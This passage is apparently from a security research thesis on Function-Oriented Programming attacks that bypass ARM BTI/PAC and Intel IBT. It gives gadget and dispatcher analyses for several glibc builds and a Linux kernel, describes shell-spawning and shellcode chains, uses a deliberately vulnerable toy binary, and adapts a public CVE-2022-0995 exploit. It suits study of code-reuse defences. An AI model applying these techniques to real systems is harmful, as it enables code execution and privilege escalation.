compilation of the specified library lacked the necessary flags or protections to enable the use of 
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the CPU protections. As such, the testing of some libraries did not occur as they lacked a 

necessary instruction for gadget discovery, thus for these libraries, traditional code-reuse attacks 

are still effective. Lacking compiler support for protections occurred more frequently in ARM 

libraries than Intel libraries. The libraries in Table 1 were the only libraries found to include the 

required landing pad instructions. This does not directly indicate that all other libraries do not 

contain the necessary prerequisites, only that these were the only identified versions to include 

the landing pad instructions. 
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ARM 

Test binary 

 Appendix 1 displays the test source code utilized during the first phase of FOP testing. 

This source code is the same across both the ARM and Intel instances, the only difference is the 

compilation method and architecture used. Figure 10 demonstrates the command to compile the 

binary, using the cross compile toolchain to compile the ARM instances. 

aarch64-linux-gnu-gcc -mbranch-protection=pac-ret+bti ./toy_vuln.c -o exploitable 

Figure 10: Command used to compile the ARM test binary 

 The binary file includes a heap-based memory corruption vulnerability. This first occurs 

in the delete function where the memory freed is not zeroized resulting in a use after free. This 

error demonstrates a common memory corruption vulnerability that could occur in a binary. The 

binary also includes a Libc address leak at the beginning of the main function. The inclusion of 

this leak is to offer an address leak for the attack scenario, as the purpose of this research is to 

show the capabilities of a FOP-based attack and not the capabilities of a heap memory corruption 

vulnerability.  

Library Building 

 The Libc library used for testing was custom-built from the official Glibc repository 

(O’Donell, 2023) and did not contain any alterations. The compilation of the library includes the 

default build flags, save for using a cross-compile compatible GCC version and all the necessary 

protection flags enabled. Figure 11 demonstrates the full command list below. 
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mkdir build 

cd build 

export glbc_install=$(pwd)/install 

CFLAGS="-mbranch-protection=standard -O2 -Wall" CC=/usr/bin/aarch64-linux-gnu-gcc 

CXX=/usr/bin/aarch64-linux-gnu-g++ ../configure --prefix "$glibc_install" --build x86_64-pc-

linux-gnu --host aarch64-linux-gnu 

make -j4 

make install 

Figure 11: Commands for building the custom ARM library 

The BTI and PAC protections are enabled through the CFLAGS of mbranch-protection. The 

standard option enables both protections. 

ARM Gadget Count 

 Table 2 demonstrates the number of gadgets identified within the several tested Libc 

versions and their associated loader. These are the versions as mentioned previously that contain 

the required BTI and PAC CPU protections compiled in.  

Library Gadget Depth 

15 25 50 

Built 1348 2161 3298 

Fedora 322 681 1201 

OpenSuse 1320 2084 3212 

Table 2: Analysis of ARM gadgets found within various libraries 

 The identifiable outlier is the Fedora library, which stems from the fact that the Fedora 

library does not include full BTI support. Table 3 supports this claim by displaying the number of 

functions identified within the Libc versions and the number of functions that had a BTI landing 

pad instruction. 

Library Num Functions Num Functions (BTI) 

Built 3385 1463 

Fedora 3351 716 

OpenSuse 3388 1490 

Table 3: Number of functions compared to BTI landing pad functions 
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 As found in the figure above, the total number of functions within the 3 different Libc 

versions is roughly the same, while the number of BTI-enabled functions is half of all functions 

for the custom-built and OpenSuse Libc versions, and only a quarter for the Fedora version. This 

drastically impacts the number of potential gadgets identified. Figure 12 further supplements 

this. 

fprintf>: 
        paciasp 

Figure 12: Assembly analysis of the fprintf function 

The above figure is an examination of the fprintf function, demonstrating the lack of a 

leading BTI instruction. This figure applies to all three of the tested libraries because none of 

them contain the missing BTI instruction. This is incorrect as any call to this function from a user 

program will do so through an indirect branch within the PLT. Without the correct landing pad, 

this operation causes a violation during execution. Further analysis on this path is outside of the 

scope of this research, but this aspect does not affect the outcome of a working FOP exploit. To 

combat this problem this research assumes that the BTI environment works correctly within the 

given bounds, as it presumably will as more support rolls out in the future. 

Dispatchers 

 For any FOP attack to succeed, a method to execute the attack is essential, which is 

where the dispatcher comes into play. Table 4 displays the number of dispatchers identified for 

several libraries.  

Library Dispatcher Count 

Built 6 

Fedora 5 

OpenSuse 5 

Table 4: Number of dispatcher gadgets for different libraries 
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All of the referenced libraries have PAC and BTI protections enabled, and all included at 

least one FOP dispatcher gadget that was accessible from a normal execution standpoint. For the 

capabilities discussed in the following section, the gadget used is located in the loader in the 

function _dl_call_fini, Figure 13 displays the looping aspect of the dispatcher gadget.  

    10d0:       ldr     x1, [x19] 
    10d4:       blr     x1 
    10d8:       cmp     x21, x19 
    10dc:       sub     x19, x19, #0x8 
    10e0:       b.ne    10d0 

Figure 13: Examination of the dispatcher gadget assembly 

One aspect to note of the above gadget is that it corrupts the X1 register continuously 

through the execution loops. This means that the second argument can be determined reliably, 

but not controlled directly. The ARM capabilities section below describes several attack 

scenarios.  

The originating binary normally uses this code during exit routines, but by manipulating 

pointers through a memory corruption vulnerability, an attacker can conduct a FOP attack. The 

selection of this gadget came from the fact that it is a reliable source to gain execution through 

memory corruption and only corrupts one register during the execution loop.  

By demonstrating the attack capabilities with this gadget found in all three tested 

libraries, it becomes possible to determine the possibility of a FOP attack within most Linux 

environments utilizing hardware protections designed to limit code reuse attacks in ARM 

environments. 

Primitives 

The following few sections cover the idea of useful primitives that could occur in a FOP 

attack. These primitives are referred to as “widgets” in the paper by Tran et al. (Tran et al., 2011) 
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and follow the same structure and naming schemes, but will be referred to as “primitives” in this 

research. Primitives are building blocks to define a set of simple operations that can expand into 

a FOP attack. In this case, these are the following: Register Setting, Arithmetic, Memory Access, 

System Calls, and Branching. 

Register Setting 

Register setting is the process of setting a register to a constant value or the value of 

another register. Three different methods accomplish this: static assignment, assignment between 

registers, and function return values. The first is the process of setting a register to a constant 

value: Figure 14 demonstrates two cases for setting a register to constant values. The figure also 

includes the assembly used to accomplish this. 

Gadget Assembly Source 

LIBC 0x127300: 
   Results: 
      X0: 0x0 

0000000000127300 <xdrstdio_inline>: 

  127300:       bti     c 

  127304:       mov     x0, #0x0 

  127308:       ret 
LIBC 0x8ca44: 
   Results: 
      X0: 0xffffaca96000 
          (Libc Address) 

000000000008ca44 <__mq_notify_fork_subprocess>: 

   8ca44:       bti     c 

   8ca48:       adrp    x0, 0x1a6000  

   8ca4c:       str     wzr, [x0, #2272] 

   8ca50:       ret 

Figure 14: Examples of register setting through static assignment 

The next case is the movement of values between registers. While being able to explicitly 

set every register would be nice, gadgets do not always line up that way. In most cases being able 

to set one register usually allows for the ability to move values to another register. Figure 15 

demonstrates this ability to move values between registers. 
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Gadget Assembly Source 

LIBC 0x1031b4: 
   Results: 
      X0: 0xffffffff 
      X3: X0 
   Jump Constraints: 
       Dword (X2) & 0xffffffff != 59 
   Conditions: 
       Dword (X2) & 0xffffffff != 59 

00000000001031b4 <inet6_option_init>: 

  1031b4:       bti     c 

  1031b8:       cmp     w2, #0x36 

  1031bc:       mov     x3, x0 

  1031c0:       mov     w0, #0x3b    

  1031c4:       ccmp    w2, w0, #0x4, ne 

  1031c8:       b.ne    1031e8 

                      … 

  1031e8:       mov     w0, #0xffffffff 

  1031ec:       d65f03c0        ret 

Figure 15: Example of a register assignment gadget 

Lastly is the ability to utilize values returned from regular function calls, such as the X0 

register which holds the return value. An example of this is using a function such as malloc to 

load an allocated memory address into X0. 

Arithmetic 

This research defines arithmetic as an operation conducting mathematical operations 

between two registers or a register and a constant value. Figure 16 gives a few examples of some 

arithmetic operations found within the custom-built Libc library. 
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Gadget 
LIBC 0x104080: 
   Results: 
      X0: 0xffffffffffffffff 
      X1: 0xffffffffffffffff 
      X2: X2 + X0 
      X3: 0xc4653600 
      X4: 0x3e8 
      X5: 0x3b9ac9ff 
   Jump Constraints: 
       Dword 0x3e8*(X3) & 0xffffffff + 0xffffffff*(X1) & 0xffffffff > 
0x3b9ac9ff 
       Qword X2 + X0 != 1 
       Concat((1 + X2 + X0) & 1<<63, 0)  
   Conditions: 
       Qword X3 >= 0xf423f 
LIBC 0x9f0f0: 
   Results: 
      X0: 4 + X0 
      X2: Concat(0, ([4 + X0]) & 0xffffffff) 
   Read Constraints: 
       0: Qword [X0] 
       1: Qword [4 + X0] 
   Jump Constraints: 
       Dword (X1) & 0xffffffff != ([X0]) & 0xffffffff 
       Dword ([4 + X0]) & 0xffffffff == (X1) & 0xffffffff 
   Conditions: 
       Dword (X1) & 0xffffffff != ([X0]) & 0xffffffff 
       Dword ([4 + X0]) & 0xffffffff != (X1) & 0xffffffff 

Figure 16: Arithmetic gadget examples 

Memory Operations 

 Memory operations include the ability to load and store values into memory. This process 

is necessary to perform complex interactions with system memory. Figure 17 demonstrates an 

example of setting memory and an example of loading a memory value.  
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LIBC 0x126f20: 
   Results: 
      X4: 0xffffaca8f728 
   Write Constraints: 
       0: Dword [X0] = (X3) & 0xffffffff 
       1: Qword [8 + X0] = 0xffffaca8f728 
       2: Dword [24 + X0] = X1 
       3: Dword [24 + X0] = X1 
       4: Dword [40 + X0] = (X2) & 0xffffffff 

LD 0x13108: 
   Results: 
      X0: [8 + X0] 
   Read Constraints: 
       0: Qword [8 + X0] 

0000000000013108 <_dl_tlsdesc_return>: 

   13108:       bti     c 

   1310c:       ldr     x0, [x0, #8] 

   13110:       ret 

Figure 17: Memory operation gadget examples 

System Calls 

Lastly is the use of syscalls, as on Linux, syscalls are the low-level ABI to interact with 

the system’s kernel. These primitives are fundamental to interacting with the system’s 

environment. In the process of FOP, these can be present from conventional function use, such as 

open or stat, but can also permit the calling any syscall with the use of the Libc “syscall” 

function itself. 
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LIBC 0xe4f40: 
   Results: 
      X0: 0xffffffffffffffff 
      X1: 0x1 
      X2: 0x20 
      X3: TPIDR_EL0 
      X4: X5 
      X5: X6 
      X6: X7 
      X8: Concat(0, (X0) & 0xffffffff) 
   Write Constraints: 
       0: Dword [32 + TPIDR_EL0] = 1 
   Syscall 
      Concat(0, Extract(31, 0, X0)) 
LIBC 0xe5180: 
   Results: 
      X0: 0xffffffffffffffff 
      X1: 0x1 
      X2: 0x20 
      X3: TPIDR_EL0 
      X8: 0xe2 
      PC: 0xbeefcafebaba 
   Write Constraints: 
       0: Dword [32 + TPIDR_EL0] = 1 
   Syscall 
      NR_mprotect 

Figure 18: Syscall gadget example 

Figure 18 displays the gadgets for the syscall function and the mprotect function. As 

mentioned above in the tooling section, the symbolic execution engine handles syscall operations 

as failures and completes their execution, but what is important to notice is the identification of 

the syscall invoked. 

Branching 

Branching in this case is the process of entering one function and using an argument to 

control the execution flow. The example found in Appendix 2.C uses this approach with a call to 

mprotect offering more argument control. Figure 19 displays this gadget and the symbolic 

execution determination restraint returned by the FOP Mythoclast. 
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LIBC 0x11cfd0: 
   Results:  
      X0: [[24 + X0]] 
      X1: [24 + [24 + X0]] 
      X2: Concat(0, ([32 + [24 + X0]]) & 0xffffffff + 0xffffffff* ([24 + 
[24 + X0]]) & 0xffffffff) 
      X3: [24 + [24 + X0]] 
      X4: [48 + [24 + X0]] 
      X5: [16 + [24 + X0]] 
      X19: [24 + X0] 
      X20: [32 + [24 + X0]] + 0xffffffffffffffff*[24 + [24 + X0]] 
      X29: 0x7fffffffdfa8 
   Read Constraints: 
       0: Qword [24 + X0] 
       1: Qword [56 + [24 + X0]] 
       3: Qword [32 + [24 + X0]] 
       4: Qword [48 + [24 + X0]] 
       5: Qword [16 + [24 + X0]] 
       6: Qword [24 + [24 + X0]] 
       7: Qword [[24 + X0]] 
   Write Constraints: 
       2: Dword [56 + [24 + X0]] = 0 
       8: ... 
   Jump Constraints: 
       (X1) & 0xffffffff == 0  
       Not(([56 + [24 + X0]]) & 0xffffffff == 0)  
    Symbolic Target: 
               [16 + [24 + X0]] 

Figure 19: Example of a branching gadget 

Figure 19 demonstrates the process of diverting control flow through argument 

manipulation. Examining this gadget type further could lead to potential gadgets that do not 

return to the current frame and continue down another FOP chain allowing for conditional 

branching to occur. This research did not examine this process in depth. 

ARM Capabilities 

 The capabilities of FOP within the ARM architecture have a slight advantage over those 

within the Intel architecture. This is because functions store the return address into the X0 
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register, which is also the first argument used when calling subsequent functions. While both 

ARM and Intel were able to demonstrate the same capabilities for FOP usage, ARM achieved 

this with fewer, more efficient gadgets. 

 Appendix 2.A shows the chain for the first example. This example demonstrates a simple 

FOP gadget that will set the X0 register to the string “/bin/sh”, which exists normally within the 

Libc read-only memory region. The chain then calls the “system” function to simulate a normal 

call to system with the “/bin/sh” string. Accomplishing this required a function to load a Libc 

memory address into the X0 register, then an ability to increment the X0 register increment until 

it arrived at the string stored in memory. This research accomplished this attack with a FOP chain 

consisting of 52 gadgets and utilizing 11 unique gadgets. 

 Appendix 2.B expands upon the previous example by loading the "/bin/sh" string directly 

into memory and subsequently invoking the “system” function. It is worth noting that this 

method can be adapted to employ any desired command. This operation took 140 function calls, 

utilizing 15 unique functions. 

 Appendix 2.C is the final example demonstrated within the ARM architecture and builds 

upon the last case. This example demonstrates the ability to load custom shellcode into memory, 

set the memory page to executable, and then execute it. This operation is the most complex of the 

three and as such takes a large number of gadgets to accomplish the goal. This final chain 

accomplishes this task in 1272 gadgets, consisting of only 20 unique function calls. 

ARM Conclusion 

 As found in this section, this research has demonstrated the capability of a FOP attack to 

successfully work within an ARM context. Initially, the first potential of FOP chain execution 

came with the discovery of a dispatcher gadget found in every tested Libc. This further 
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developed into the ability to identify a series of primitives to build into working FOP chains. 

Then, Appendix 2 examples demonstrate three examples of varying difficulty to gain execution 

on an ARM system. 
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INTEL 

Test binary 

 Appendix 1 displays the test source code utilized during the first phase of FOP testing. As 

mentioned in the ARM section, this source code is the same across both ARM and Intel 

instances, with the only difference being the method of compilation. Figure 20 lists the command 

used to compile the binary, which employs GCC to compile the binary for the Intel instance. 

gcc ./toy_vuln.c -o exploitable 

Figure 20: Command used to compile the X64 example 

 The ARM section above provides a comprehensive explanation of the heap vulnerability 

in this toy binary. 

Intel Gadget Count 

 Table 5 presents an analysis of the number of gadgets discovered across various versions 

of Libc and its loader. It is evident that as the potential length of the gadget increases, the number 

of possible gadgets also increases. In most instances, this ratio appears to approximately double 

with each increment. Table 1 shows that with an increase in gadget count there is an 

accompanied increase in the time required to identify potential gadgets, as demonstrated 

previously. 

Library Gadget Length 

15 25 50 

Built 1426 2765 5438 

Centos 1268 2618 4912 

Fedora 1232 2493 4727 

OpenSuse 1020 2214 4664 

Ubuntu 1294 2667 4897 

Table 5: Gadget count of  different libraries 
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 Unlike the ARM example above, the Intel variations appeared to better incorporate the 

needed landing pad for IBT inclusion. Table 6 examines the proportion between the number of 

functions and functions that include the necessary landing pad found within the given Libc. 

Library Num Functions Num Functions (ENDBR) 

Built 3834 3343 

Centos 3761 3272 

Fedora 3791 3312 

OpenSuse 3830 3340 

Ubuntu* 2257 2257 

Table 6: Function to valid landing pad functions count 

As evident from the statistics presented above, the number of functions with a valid 

landing pad instruction (and functions in general) is higher in the Intel architecture when 

compared to its ARM counterpart. However, it is worth noting that the Ubuntu Libc library 

stands out with a notably lower count compared to the other libraries. This discrepancy is due to 

the fact that Ubuntu was the only Libc library that was pre-stripped. The function counting 

method utilized symbols to determine the number of functions, and the stripping process limited 

the total number of identifiable functions. Nevertheless, it also revealed that all exported 

functions contain the requisite landing pad instruction. 

Dispatcher 

 As explained previously in this research, a FOP attack is not possible without a working 

dispatcher gadget. The main criterion was that the gadgets did not manipulate more than one key 

register, in this case, RDI, RSI, or RDX. Table 7 displays the count of the identified FOP 

gadgets. 
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Library Num Gadgets 

Built 3 

Centos 5 

Fedora 2 

OpenSuse 2 

Ubuntu 2 

Table 7: Number of dispatcher gadgets 

While the number of potential gadgets is low for the majority of the tested libraries, this 

research identified that all tested Libc libraries contained at least one workable FOP gadget 

found within the exit routines of _dl_fini or _dl_call_fini. This once again illustrates the potential 

of FOP to work in certain cases of memory corruption vulnerabilities on Intel. 

In comparison to the ARM dispatchers, the identified Intel FOP dispatcher did not modify 

an important argument register. This capability allowed for more direct gadgets that modify the 

RDI, RSI, and RDX registers. 

Primitives 

The following few sections cover the idea of useful primitives that allow for operations 

during a FOP attack, analogous to the ARM section on primitives above. These include Register 

Setting, Arithmetic, Memory Access, System Calls, and Branching. As mentioned previously, the 

ability to utilize the return value in a FOP attack within Intel is not possible. This results in the 

lack of utilizing function returns as register setting primitives. 

Register Setting 

 The first primitive is the process of register setting, which includes the operations of 

setting a register to a value and setting a register to a different register’s value. Figure 21 below 

demonstrates two examples of moving values into a register, in this case, a small constant value 

and a library address. 
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Gadget Assembly Source 
LIBC 0x12e0f0: 
   Results: 
      RAX: 0x1 
      RDI: 0x6 

000000000012e0f0 <_nss_files_endpwent>: 

  12e0f0:       endbr64 

  12e0f4:       mov    edi, 0x6 

  12e0f9:       jmp    12b350 <__nss_files_data_endent> 
LIBC 0x87340: 
   Results: 
      RAX: 0x0 
      RDI: 0x7f27dd7bdb00 
           (Libc address) 

0000000000087340 <__default_pthread_attr_freeres>: 

   87340:       endbr64 

   87344:       lea    rdi, [rip+0x1487b5] 

   8734b:       jmp    7e860 <pthread_attr_destroy> 

Figure 21: Static register setting gadget 

The two examples found above in Figure 21, demonstrate the process of identifying 

reliable gadgets to set the RDI register to static values. The second main process for register 

setting primitives is the process of moving values between registers.  

Gadget Assembly Source 
LIBC 0x144280: 
   Results: 
      RAX: 0x7f27dd7fa000 
      RSI: RDI 

0000000000144280 <_dl_mcount_wrapper_check>: 

  144280:       endbr64 

  144284:       mov    rax, qword ptr [rip+0x84ced] 

  14428b:       mov    rsi, rdi 

  14428e:       cmp    qword ptr [rax+0xa90], 0x0 

  144296:       je     1442b0 

                      … 

  1442b0:       ret 

Figure 22: Register setting between registers 

Figure 22 demonstrates an example of moving a value from the RDI register to the RSI 

register. Analyzing the assembly code corresponding to this operation reveals that it depends on a 

value in memory. However, given that the gadget does not display any constraints, one can infer 

that the memory from the supplied core file successfully passed this check and consistently 

executed the jump to the return. 

Arithmetic 

 An arithmetic gadget conducts math operations on registers to change their values. Figure 

23 demonstrates several gadgets that potential addition, subtraction, and multiplication gadgets. 
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Operation Gadget 

Addition LIBC 0x363a0: 
   Results: 
      RAX: Concat(0, [RDI]) 
      RCX: 0xffffffff0fffffff 
      RDX: Concat(0, [1 + RDI]) 
      RDI: 1 + RDI 
   Read Constraints: 
       0: Byte [RDI] 
       1: Byte [1 + RDI] 
   Jump Constraints: 
       Byte [RDI] != 0 
       Byte [1 + RDI] == 0 

32-bit Subtraction LIBC 0xa8360: 
   Results: 
      RAX: 0xffffffffffffffff 
      RDI: Concat(0, 0xffffff47 + EDI) 
   Jump Constraints: 
       Dword 0xffffff47 + EDI U> 12 

Multiplication LIBC 0x48060: 
   Results: 
      RAX: 0x0 
      RCX: [RSI + 8*R8] 
      RDX: RDX + 0xffffffffffffffff*R8 
      RSI: 8 + RDI + 8*R8 
      RDI: RDI + 8*R8 
      R8: 8 + RSI + 8*R8 
   Read Constraints: 
       0: Qword [RSI + 8*R8] 
   Write Constraints: 
       1: Qword [RDI + 8*R8] = [RSI + 8*R8] 
   Jump Constraints: 
       Qword R8 == 0 
       Qword R8 != RDX 
       Qword 8 + RDI + 8*R8 == 8 + RSI + 8*R8 

Figure 23: Arithmetic gadget examples 

 Two of the three gadgets identified in Figure 23 demonstrate operations requiring 

memory access. As with all gadgets, it is important to identify potential constraints when 

operating on memory values. This observation holds for the majority of arithmetic operations, 

the assumption being that most operations occur within functions responsible for memory 

copying or string manipulation.  
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Memory Access 

 The next primitive involves memory accesses, comprising of memory storage and 

memory loading gadgets. Figure 24 below illustrates two examples of such gadgets. 

Memory 

Operation 

Gadget 

Write LIBC 0x9ae40: 
   Results: 
      RAX: RDI 
      RSI: ... 
   Write Constraints: 
       0: Byte [RDI] = SIL 
   Jump Constraints: 
       Qword RDX U< 16 
       Dword EDX < 8 
       Dword EDX < 4 
       Dword EDX <= 1 
       Dword EDX >= 1 

Read LIBC 0x117180: 
   Results: 
      RAX: 0xfffffffa 
      RDX: Concat(0, [RDI]) 
      R10: 0x0 
      R11: 0x0 
   Read Constraints: 
       0: Word [RDI] 
   Jump Constraints: 
       Qword RDI != 0 
       Dword ESI U> 1 
       Word [RDI] != 2 
       Word [RDI] != 10 
       Word [RDI] != 1 

Figure 24: Memory accessing gadget examples 

System Calls 

 System calls play a crucial role in enabling programs to interact with their environment. 

Much like with ARM, these primitives are essential for performing various actions within a 

system through two main approaches: the first approach involves using regular functions to call 

system calls through their intended mechanisms, while the second approach utilizes the "syscall" 
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function to invoke custom system calls during an attack. Figure 25 below illustrates these two 

examples through identified gadgets. 

Function Gadget 

Socket LIBC 0x101430: 
   Results: 
      RAX: 0xffffffffffffffff 
      RCX: 0xffffffffffffff88 
   Segment Constraints: 
       [FS + -0x78] 
   Syscall 
      sys_socket 

Syscall LIBC 0xf74a0: 
   Results: 
      RAX: 0xffffffffffffffff 
      RCX: 0xffffffffffffff88 
      RDX: RCX 
      RSI: RDX 
      RDI: RSI 
      R8: R9 
      R9: 0x0  
      R10: R8 
   Segment Constraints: 
       [FS + -0x78] 
   Syscall 
      RDI 

Figure 25: Syscall gadget examples 

As mentioned previously in this research, an important aspect to note is the fact that the 

FOP Mythoclast handles all system calls as failures within the symbolic execution phase. This 

process does not impact the majority of gadgets but can affect the outcome of a gadget. Figure 25 

demonstrates an example of this as a syscall gadget, modifying the RCX register to the error 

value. In successful syscall operations, the syscall operation within the kernel clobbers the RCX 

register as a side effect, setting it to the instruction following the syscall instruction. This result, 

as displayed by the gadget, occurs since the symbolic engine tested the failure route instead of 

the success. This results in the register being incorrectly clobbered. 

As system call and other environmental API operations are extremely important in 

computing, it is important to accurately represent their capabilities when identifying them 
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through their gadget representations. This, even within the failure branch, the syscall function 

gadget depicts a valid gadget for moving values between registers reliably without concern of 

constraints.  

Branching 

The final primitive is the process of branching. The process of branching is a complicated 

endeavor that can result in further complicated FOP chains. This process, if done correctly, could 

result in chaining multiple FOP chains together given the right gadgets. Figure 26 demonstrates 

an example of such a branching gadget. 

LIBC 0x131a10: 
   Results: 
   RAX: [8 + RDI] 
   RDX: Concat(0, [RDI]) 
   RBX: RSI 
   RSP: 0x7fffffffdf70 
   RBP: RDI 
   RSI: 0x7fffffffdf78 
   Read Constraints: 
    0: Dword [RDI] 
    1: Qword [8 + RDI] 
    2: Qword [[8 + RDI]] 
   Jump Constraints: 
    Dword [RDI] == 1 
 Symbolic target: 
            [[8 + RDI]] 

Figure 26: Branching gadget example 

Unlike the ARM example examined already in this research, the Intel example did not 

make use of a branching operation during the exploitation phase. Using this procedure 

demonstrates that the ability to branch is not a requirement to complete a working exploit. 

Intel Capabilities 

 The capabilities of FOP within Intel at first appear to be weaker than their ARM 

counterparts. This is based solely on the first observable mechanisms of functions within the 



 96 

Intel architecture. In Intel, when a function completes and returns, it stores the return value in 

RAX. However, arguments used within functions do not come from the RAX register. With this 

in mind, this research was not able to identify any gadgets to move values from RAX into a 

meaningful register. This process limits the ability to utilize intentional return values from 

functions such as memory allocations from malloc. 

 Even though FOP under Intel appears to be not as convenient as with ARM, it is still 

possible to accomplish the same outcomes. Appendix 3.A demonstrates the capability of loading 

“/bin/sh” into memory and calling system on this memory. The completion of this chain consists 

of 123 gadgets using 12 unique functions. 

 The main difference mentioned above is evident when examining the ability to run 

custom shellcode. While loading the shellcode into memory is of little concern when it comes to 

FOP, it is still worth nothing that the ability to set the memory region to executable is 

challenging. This task varies in difficulty between different builds, but in the given test 

environment, the targeted writeable Libc memory region was situated at the upper bounds of a 

memory page (at 0xb00).  

 The process utilized to set this page to executable involved using the “mprotect” function 

on the 0x1000 byte aligned head of the page. To accomplish this, the chain required a pointer to 

the head of the page. An identified gadget of “sub rdi, 4” allowed for the FOP chain to reach this 

address. In all, this requires 704 function calls to successfully point the memory value to the 

beginning of the page. The other operations completed are similar to those used to set memory to 

the “/bin/sh” string, but in this case, it is shellcode. Appendix 3.B demonstrates the full chain 

consisting of 1188 gadgets using only 28 unique functions. 
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Intel Conclusion 

This section concludes with a demonstration of the same capabilities on Intel as shown 

within ARM. This started with the identification of a FOP dispatcher gadget within every tested 

Libc and numerous gadgets found throughout the library. Subsequently, the integration of these 

gadgets into primitives resembling those used in ARM ultimately enabled arbitrary code 

execution via exploiting a memory corruption vulnerability. Finally, this research examines using 

FOP within the Linux kernel. 
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KERNEL 

Environment 

 In the real-world FOP test case for the kernel test environment, a QEMU (“qemu-system-

x64”) was employed to emulate a Linux kernel image at version 5.13.0. The combination of this 

kernel image with a minimal BusyBox-based userspace environment led to the ability to test 

within a kernel context. Notably, the testing solely focused on an Intel environment. The findings 

from the previous sections permitted this decision, which indicated similar, if not slightly 

superior, functionality of ARM environments compared to their Intel counterparts. By focusing 

on the Intel architecture, this research confirms these findings and is able to harness an existing 

publicly available Proof of Concept (PoC) to modify and demonstrate the potential of FOP 

within the Linux kernel. 

Vulnerability 

The vulnerability chosen for testing is CVE-2022-0995 (NIST, 2023), an out-of-bound 

memory write issue within the kernel heap. The selection of this memory corruption 

vulnerability came from the fact that it is a recent vulnerability (that has surfaced within the last 

two years). Furthermore, a public PoC for this vulnerability was available on GitHub, courtesy of 

user Bonfee (Bonfee, 2022/2023) 

The original PoC leverages the kernel heap out-of-bounds write to overwrite a function 

pointer within a controllable structure. This technique is commonly employed to perform a stack 

pivot to an attacker-controlled structure, enabling the full utilization of a Return-Oriented 

Programming (ROP) chain, which is precisely what the original PoC accomplishes. A shadow 
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stack and BTI environment normally limit this approach and enables the demonstration of FOP 

in place of a normal ROP chain. 

Kernel Gadget Count 

 In comparison to Libc the Linux kernel contains a much larger code base, Table 8 below 

demonstrates the number of functions checked within the tested kernel vmlinux image. 

Version Num of Checked Functions 

5.13.0 57447 

Table 8: Function checked in the kernel 

This larger increase in function counts results in a larger and more time-consuming 

search for potential gadgets. Table 9 displays several gadgets identified within the kernel used. 

Gadget Depth Num Gadgets 

15 7470 

25 18541 

50 52285 

Table 9: Number of gadgets per gadget depth 

There are a few caveats to consider when interpreting these results. First, it is important 

to note that the tested compiled version of the Linux kernel did not come with the "endbr" 

landing instruction. However, as identified in the Intel section above, the majority of Intel 

functions include the "endbr" instruction. Given that the inclusion of the “endbr” instruction at 

the beginning of the function would be appearance only given the lack of full BTI support, this 

research decided this would be acceptable as long as only the beginning of a function served as 

the gadget beginning. Additionally, the kernel image included symbols, which simplifies the 

process of identifying potential functions to use as gadgets. 

 The second caveat to consider is the substantial amount of memory required to search for 

potential gadgets. In the Linux test environment, the FOP tooling encounters memory constraints 
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and runs out of memory when attempting to load the entire kernel image. To address this issue, 

the FOP Mythoclast loads only the executable sections without mapping static memory during 

the gadget identification stage. It is important to acknowledge that this approach imposes 

limitations on potential gadgets that rely on specific memory values to traverse unique execution 

paths. However, this limitation is of minimal concern, given the extensive array of functions to 

examine and the substantial number of gadgets identified even with this restriction in place. 

Dispatcher 

 As discussed in the previous tooling section and outlined in Algorithm 2 the dispatcher 

algorithm exhibits slight variations when compared to the user space Libc version. The 

incorporation of symbolic execution to validate dispatcher gadgets permits a more flexible 

approach during the initial gadget-checking stage. The primary objective of this first sweep is to 

identify gadgets that can effectively serve as dispatchers based on the function's arguments. 

Figure 27 illustrates an example of a gadget functioning as a dispatcher. 

KERNEL 0xcaf70: 
   Results: 
   RAX: [24 + [16 + RDI]] 
   RBX: 16 + RDI 
   RSP: 0x7fffffffdf90 
   RBP: 0x7fffffffdfa0 
   RDI: [32 + RDI] 
   R12: 56 + RDI + 40*Concat(0, 0xffffffff + ESI) 
   Read Constraints: 
    0: Qword [16 + RDI] 
    1: Qword [24 + [16 + RDI]] 
    2: Qword [32 + RDI] 
   Jump Constraints: 
    Dword ESI != 0 
    Qword [24 + [16 + RDI]] != 0 
   Symbolic Target: 
            [24 + [16 + RDI]] 

Figure 27: Utilized kernel dispatcher gadget 
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As indicated by the gadget's functionality, its use is more intricate compared to the 

majority of gadgets found in the Libc version. It relies on initial register values to initiate the 

chain. This research found this requirement holds for most of the tested gadgets within the Linux 

kernel, and it serves as the core principle for identifying kernel FOP dispatcher gadgets. 

Selecting this approach made sense came from the fact that most kernel heap memory 

corruption vulnerabilities typically entail controlled memory and the manipulation of one or two 

controllable registers. As a result, this technique complements such scenarios effectively, offering 

an alternative to the conventional use of stack pivots. 

Intuitively, due to the larger code base of the Linux kernel, the number of potential 

dispatcher gadgets is also larger. Table 10 displays the number of dispatcher gadgets identified. 

Location Num Gadgets 

Linux kernel 5.13.0 308 

Table 10: Number of identified dispatcher gadgets 

 Establishing a limit on the number of instructions limits the time taken when utilizing 

symbolic execution to identify potential FOP dispatcher gadgets. This limit was set to 100 

instructions for the identified number of gadgets in Table 10. Without a finite limit, the potential 

for branch explosion or infinite loops grows. This would significantly increase the time 

execution of the gadget identification or possibly exhaust the little memory remaining after 

loading the kernel instructions. This is sufficient to identify a working gadget needed for the 

capabilities section below. 
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Kernel Impacts 

 This section discusses the practical details of the kernel approach of FOP and 

demonstrates a couple of the impacts identified, along with the approaches taken to remedy 

them. 

As mentioned earlier, the targeted Linux kernel version for this research is 5.13.0. This 

kernel version, released in the summer of 2021, is slightly older; since the repurposed PoC was 

for this specific kernel image, it was logical to stick with version 5.13.0. 

However, it is important to note a caveat with this choice: the introduction of Linux 

kernel's CET implementation was not until Linux kernel version 5.18.0. Consequently, there is a 

lack of landing pad instructions within the tested Linux kernel. Any inclusion of a landing pad 

instruction in the kernel would only be for show since the tested environment lacks full IBT 

support. 

The last item of note is that as the Linux kernel releases new versions, it becomes 

increasingly likely that the new versions will introduce new protections. Such an example is the 

patch to the function prepare_kernel_cred (Kees Cook, 2022). This patch in particular is of 

interest as it contains a common target during the kernel exploitation process: it limits the normal 

ROP attack chain by introducing a new check into the commonly targeted function. 

In any kernel-level attack, the success of the attack largely hinges on the availability of an 

attacking surface that permits the utilization of any potential targets. This holds even in cases 

where newer kernel versions may impose limitations on such approaches. Another rationale for 

targeting this kernel version lies in the capabilities demonstrated later in the research, particularly 

concerning FOP and the dispatcher functionality examined earlier. 
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Kernel Capabilities 

The ability to determine what impact FOP has in the kernel is one of the main points of 

this research; the ability to achieve a working attack utilizing FOP gadgets instead of ROP or 

JOP gadgets is the definition of a successful FOP implementation. So far, the design of the FOP 

tooling along with the initial Intel and ARM capabilities has built up to the challenge of testing 

FOP with a real-world scenario and a public CVE. This section categorizes the capabilities 

achieved within the kernel environment. 

